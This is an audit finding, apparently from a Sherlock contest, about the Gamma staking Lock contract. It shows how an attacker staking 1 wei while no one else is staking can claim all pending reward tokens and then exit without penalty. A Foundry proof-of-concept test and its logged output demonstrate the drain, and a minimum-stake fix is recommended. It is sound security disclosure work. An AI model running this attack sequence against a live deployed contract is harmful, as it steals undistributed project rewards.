Crazy Green Deer

high

# Attackers can drain the reward tokens sent to the staking contract when no one is staking

## Summary
If reward tokens are sent to the staking contract when no one is staking, an attacker can drain these reward tokens without locking their staking tokens. This results in the loss of the project's undistributed rewards.

## Vulnerability Detail
The staking contract can have zero stakers in the following situations:
1. The staking contract is newly deployed and configured, but no user has staked yet.
2. During an emergency, all stakers exit the contract and after some time, the team restarts the staking contract.

According to the [README](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/README.md?plain=1#L39):
> The reward tokens will be sent periodically to the staking contract

Additionally, reward tokens might come from other contracts in the Gamma protocol, which do not consider the state of the staking contract when sending rewards.
Therefore, reward tokens could be sent to the staking contract when there are no stakers.

In this situation, attackers can drain these rewards without locking staking tokens. When the staking contract has zero stakers and there are reward tokens in the contract, an attacker can stake into the contract, then immediately call [`notifyUnseenReward()`](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L504-L511). This increases the `cumulatedReward` in the `rewardData` of the reward token. The attacker can then call [`getAllReward()`](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L517-L519) to retrieve the reward tokens.

Moreover, due to precision loss in the [`calcPenaltyAmount()`](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L569-L586) function, if the staked amount is 1 wei, the `penaltyAmount` will be 0 during the `earlyExitById` call. This means the attacker can stake 1 wei in the above scenario and call [`earlyExitById`](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L313C14-L343) to retrieve this 1 wei after retrieving the rewards.


### Proof of Concept
```solidity
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Lock.sol";
import "../src/libraries/LockList.sol";
import "../src/mock/MockToken.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract PoC is Test {
    MockToken stakingToken;
    MockToken rewardToken;

    Lock lock;
    LockList lockList;

    address deployer = makeAddr("deployer");
    address treasury = makeAddr("treasury");

    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.startPrank(deployer);
        {
            // mock tokens
            stakingToken = new MockToken("stakingToken", "stkToken", 18);
            vm.label(address(stakingToken), "staking token");

            rewardToken = new MockToken("rewardToken", "rewardTKN", 18);
            vm.label(address(rewardToken), "reward token");
        }
        lockList = new LockList(deployer);
        {
            // deploy Lock
            Lock impl = new Lock();
            bytes memory data = abi.encodeCall(Lock.initialize, (address(lockList), 15_000, 35_000, deployer));
            ERC1967Proxy proxy = new ERC1967Proxy(address(impl), data);
            lock = Lock(address(proxy));
        }
        lock.setStakingToken(address(stakingToken));
        lock.addReward(address(rewardToken));
        {
            // set up lockPeriods
            uint256[] memory lockPeriod = new uint256[](3);
            lockPeriod[0] = 30 days;
            lockPeriod[1] = 720 days;
            lockPeriod[2] = 360 days;
            uint256[] memory lockMultiplier = new uint256[](3);
            lockMultiplier[0] = 1;
            lockMultiplier[1] = 1;
            lockMultiplier[2] = 2;
            lock.setLockTypeInfo(lockPeriod, lockMultiplier);
        }
        lock.setTreasury(treasury);
        lockList.transferOwnership(address(lock));
        vm.stopPrank();

        rewardToken.mint(address(this), 1_000 ether);
        stakingToken.mint(attacker, 1);
    }

    function test_AttakcerCanDrainRewardsInEmptyLock() public {
        // send some rewards to the empty lock
        rewardToken.transfer(address(lock), 1_000 ether);

        console.log("before attack:");
        console.log("   rewardToken balance in the Lock: ", rewardToken.balanceOf(address(lock)));
        console.log("   rewardToken balance of attacker: ", rewardToken.balanceOf(attacker));
        console.log("   stakingToken balance in the Lock: ", stakingToken.balanceOf(address(lock)));

        vm.startPrank(attacker);
        // attak start
        // 1. stake 1 wei amount of stakingToken into the lock
        stakingToken.approve(address(lock), 1);
        lock.stake(1, attacker, 0);

        // 2. call notifyUnseenReward to distribute the reward
        address[] memory rewardTokens = new address[](1);
        rewardTokens[0] = address(rewardToken);
        lock.notifyUnseenReward(rewardTokens);

        // 3. call getAllRewards to get the reward
        lock.getAllRewards();

        // 4. call earlyExitById to withdraw the 1 wei stakingToken
        lock.earlyExitById(0);

        // attack finished
        vm.stopPrank();

        console.log("after attack:");
        console.log("   rewardToken balance in the Lock: ", rewardToken.balanceOf(address(lock)));
        console.log("   rewardToken balance of attacker: ", rewardToken.balanceOf(attacker));
        console.log("   stakingToken balance in the Lock: ", stakingToken.balanceOf(address(lock)));
    }
}

```

Run the above foundry test with command:
```bash
forge test --mc PoC -vv
```

will get the following result:
```bash
[PASS] test_AttakcerCanDrainRewardsInEmptyLock() (gas: 509088)
Logs:
  before attack:
     rewardToken balance in the Lock:  1000000000000000000000
     rewardToken balance of attacker:  0
     stakingToken balance in the Lock:  0
  after attack:
     rewardToken balance in the Lock:  0
     rewardToken balance of attacker:  1000000000000000000000
     stakingToken balance in the Lock:  0
```

This demonstrates that attackers can drain the reward tokens sent to the staking contract when no one is staking.

## Impact

Attackers can drain the reward tokens sent to the staking contract when no one is staking, causing the loss of the project's undistributed rewards.

## Code Snippet
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L504-L511
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L569-L586
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L313C14-L343

## Tool used

Manual Review, foundry test

## Recommendation

It's recommended to require a minimum stake amount (e.g., 1e18 wei) in the stake() function.
Although the first staker can still receive all the rewards sent to the empty staking contract, it is fair because the staker must lock the minimum amount in the contract.